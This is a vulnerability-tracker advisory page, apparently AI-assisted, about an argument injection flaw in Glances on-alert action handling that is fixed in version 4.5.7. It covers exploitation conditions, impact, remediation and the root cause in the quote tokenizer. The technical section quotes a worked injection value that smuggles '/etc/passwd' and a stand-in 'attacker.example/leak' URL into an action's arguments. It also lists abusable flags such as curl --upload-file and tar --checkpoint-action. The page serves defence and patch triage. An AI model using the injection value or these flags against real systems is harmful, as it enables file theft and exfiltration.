Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCreate mount or stat with crafted quote-containing name
-
ExploitAlert fires and Glances renders value into quoted action argument
-
ExecutionSingle quote breaks out, injecting new argv tokens
-
ImpactAction binary's flags abused for arbitrary file read/write or exfiltration
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Argument sanitization
|
| Exploitation Conditions | Exploitation requires a non-default configuration: an on-alert action (e.g. [fs] critical_action in glances.conf) whose command template quotes a Mustache stat field such as '{{mnt_point}}' - the documented pattern for multi-word values. The attacker must be able to influence a monitored stat value (mount point name, filesystem label, AMP result, process name/cmdline) so it contains a literal quote character that breaks out of the quoted argument. Limiting factors: the action must actually be configured and must quote an attacker-influenceable field; the injected arguments only become dangerous if the invoked script/binary accepts flags with side effects (file read/write, exec, network); the CVSS vector indicates local vector (AV:L), high complexity (AC:H), and some local privilege (PR:L). Notably, this is NOT limited by the _SHELL_OPERATORS sanitizer or by --disable-config-exec, since no shell operator is used and only quote tokenization is abused, and it works through the standard escaped {{var}} Mustache syntax because chevron does not HTML-escape the single quote. |
| Impact | The signals point to a conditional, medium-severity issue rather than an urgent priority. The supplied CVSS 3.1 vector (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L, base 6.5) describes a local vector requiring some privilege and high attack complexity, which aligns with the advisory's threat model: exploitation depends on a specific, non-default Glances configuration (an on-alert action that quotes an attacker-influenceable Mustache stat field). The vuln.today Decision label is 'this_month', not act_now or emergency, consistent with a flaw that is serious where configured but not broadly auto-exploitable. No CISA KEV listing is present and no EPSS score was provided, so there is no evidence of active or at-scale exploitation; a detailed public PoC reference exists inside the GHSA advisory but it is not verified in the input as working weaponized exploit code. SSVC-style fields (exploitation status, automatable, technical impact) were not supplied. Net: a real but narrow risk gated on configuration and on the invoked action binary accepting abusable flags - treat as a scheduled patch, not a fire drill. Missing data to flag explicitly: no EPSS score provided, and the package tracker line says 'not yet patched' while the description and release tag assert a fix in 4.5.7 - this conflict should be reconciled against the vendor release. |
| Exploit ScenarioDerived | A Glances deployment is configured with an on-alert action (e.g. [fs] critical_action) whose command quotes a stat field such as '{{mnt_point}}'. An attacker who can influence that stat - for example by creating a bind/FUSE mount or device label containing a literal single quote plus extra tokens - causes the quoted field to terminate early when the alert fires, injecting new attacker-controlled argv tokens into the action process. A public PoC demonstrating this end-to-end through GlancesActions exists in the GHSA advisory; because the vector is AV:L/AC:H, it requires local influence over monitored stats and a cooperating action binary whose flags have side effects (curl -o/--upload-file, tar --checkpoint-action, rsync -e, etc.). |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Nov 25, 2026
Argument injection in Glances on-alert action handling, in versions prior to 4.5.7, lets an attacker who can influence a monitored stat value (mount point name, filesystem label, process name/cmdline, AMP result) smuggle additional argv tokens into the process an action invokes. It requires a non-default configuration where an on-alert action command quotes a Mustache field such as '{{mnt_point}}', and it escalates beyond argument confusion only when the invoked script or binary accepts flags with side effects such as file writes, exec options or network uploads. The issue is not in CISA KEV and no confirmed active exploitation is reported; the vendor advisory does publish a working proof-of-concept reproduction, and the pre-existing shell-operator sanitizer and --disable-config-exec do not block it.
RemediationAI
Upgrade to Glances 4.5.7, the version named in the CVE record and the associated release tag (advisory: https://github.com/nicolargo/glances/security/advisories/GHSA-56xw-p9qm-r437, release: https://github.com/nicolargo/glances/releases/tag/v4.5.7); because the advisory's package metadata still shows 'fixed in: not yet patched', verify the installed distribution actually contains the corrected __split_args() before considering the host clean. The advisory presents no configuration-level workaround: the _SHELL_OPERATORS sanitizer covers only &&, |, >, >> and &, and --disable-config-exec disables operator interpretation only, so neither mitigates quote-based token break-out. Short of upgrading, the actionable reduction is to remove on-alert actions that quote attacker-influenceable Mustache fields, or to stop quoting such fields where the values never contain whitespace, and to tighten who can create mount points, device labels or process names the monitored host reports, since those are the input channels for the injected quote. Where an action must remain, the blast radius is governed by the invoked program's own option parsing, so pointing actions at wrappers that reject unexpected flags limits file read/write, exec options and network-upload primitives that injected arguments would otherwise reach.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The root cause is CWE-88 (argument injection), distinct from the CWE-78 shell-chaining issues previously fixed in this subsystem (CVE-2026-32608, CVE-2026-53925, CVE-2026-62982, GHSA-qcpp-8x79-hhp3, GHSA-3vwc-qwhc-3mj7). Glances renders on-alert action commands with chevron Mustache and then passes them to secure_popen(); __split_args() in glances/secure.py (lines 48-55) tokenizes the command with the regex r'(\s+)|(".*?"+?)|(\'.*?\'+?)', treating single and double quotes as argument boundaries with no escaping concept, then strips the outer quote pair from each token. When a stat value that is quoted in the template contains a literal quote character, the tokenizer treats that character as the end of the quoted field and the remainder of the value becomes new argv entries; the advisory's worked example turns '/mnt/usb/x\' --evil-flag /etc/passwd http://attacker.example/leak \'y' into the argv ['argv_logger.py', '/mnt/usb/x', '--evil-flag', '/etc/passwd', 'http://attacker.example/leak', 'y', '92'] with no shell metacharacter present. The _SHELL_OPERATORS sanitizer in glances/actions.py only neutralizes &&, |, >, >> and &, and --disable-config-exec only disables operator interpretation, so neither touches quote tokenization. Notably, chevron's default escaped {{var}} renderer only HTML-escapes " < > & and not the single quote, so the documented escaped-Mustache syntax is sufficient and the raw/triple-mustache form is not needed. The trigger is fully described in the advisory and reproduced end-to-end through glances.actions.GlancesActions.run().
Know when Glances gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L
Attacker influences a local monitored stat (AV:L) under a specific action config that must accept abusable flags (AC:H), needs low local privilege to seed the stat (PR:L); impact varies with the action binary, so C:H/I:H/A:L.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
1DescriptionCVE.org
Glances is an open-source system cross-platform monitoring tool. In versions prior to 4.5.7, the on-alert action command tokenizer in secure.py treats quote characters as argument boundaries without escaping. A monitored stat value, such as a mount point name, that is quoted in an action command template can contain a quote character that breaks out of its quote boundary and injects additional arguments into the process the action invokes. No shell operator is needed for this attack. This issue has been fixed in version 4.5.7.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
The package glances before 3.2.1 are vulnerable to XML External Entity (XXE) Injection via the use of Fault to parse unt
Command injection in Glances prior to 4.5.6 allows a local unprivileged user to execute arbitrary shell commands when ad
Glances is an open-source system cross-platform monitoring tool. versions up to 4.5.1 is affected by information exposur
Command injection in Glances system monitoring (versions 4.5.2 through 4.5.5) allows a local attacker with process-execu
Cross-origin data exfiltration in Glances web server allows remote unauthenticated attackers to read sensitive system in
Server-Side Request Forgery in Glances IP plugin allows authenticated attackers to force the monitoring application to s
SQL injection in Glances TimescaleDB export module allows local attackers to execute arbitrary SQL commands against the
Glances versions through 4.5.5 contain an incomplete fix for CVE-2026-53925: the `--disable-config-exec` flag correctly
Glances REST API prior to 4.5.6 exposes authenticated system monitoring data to untrusted cross-origin websites due to a
Cassandra export module in Glances prior to version 4.5.4 allows local privilege-escalated users to redirect monitoring
Credential disclosure in Glances prior to 4.5.6 allows unauthenticated remote attackers to retrieve plaintext usernames
EUVD-2026-135676
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB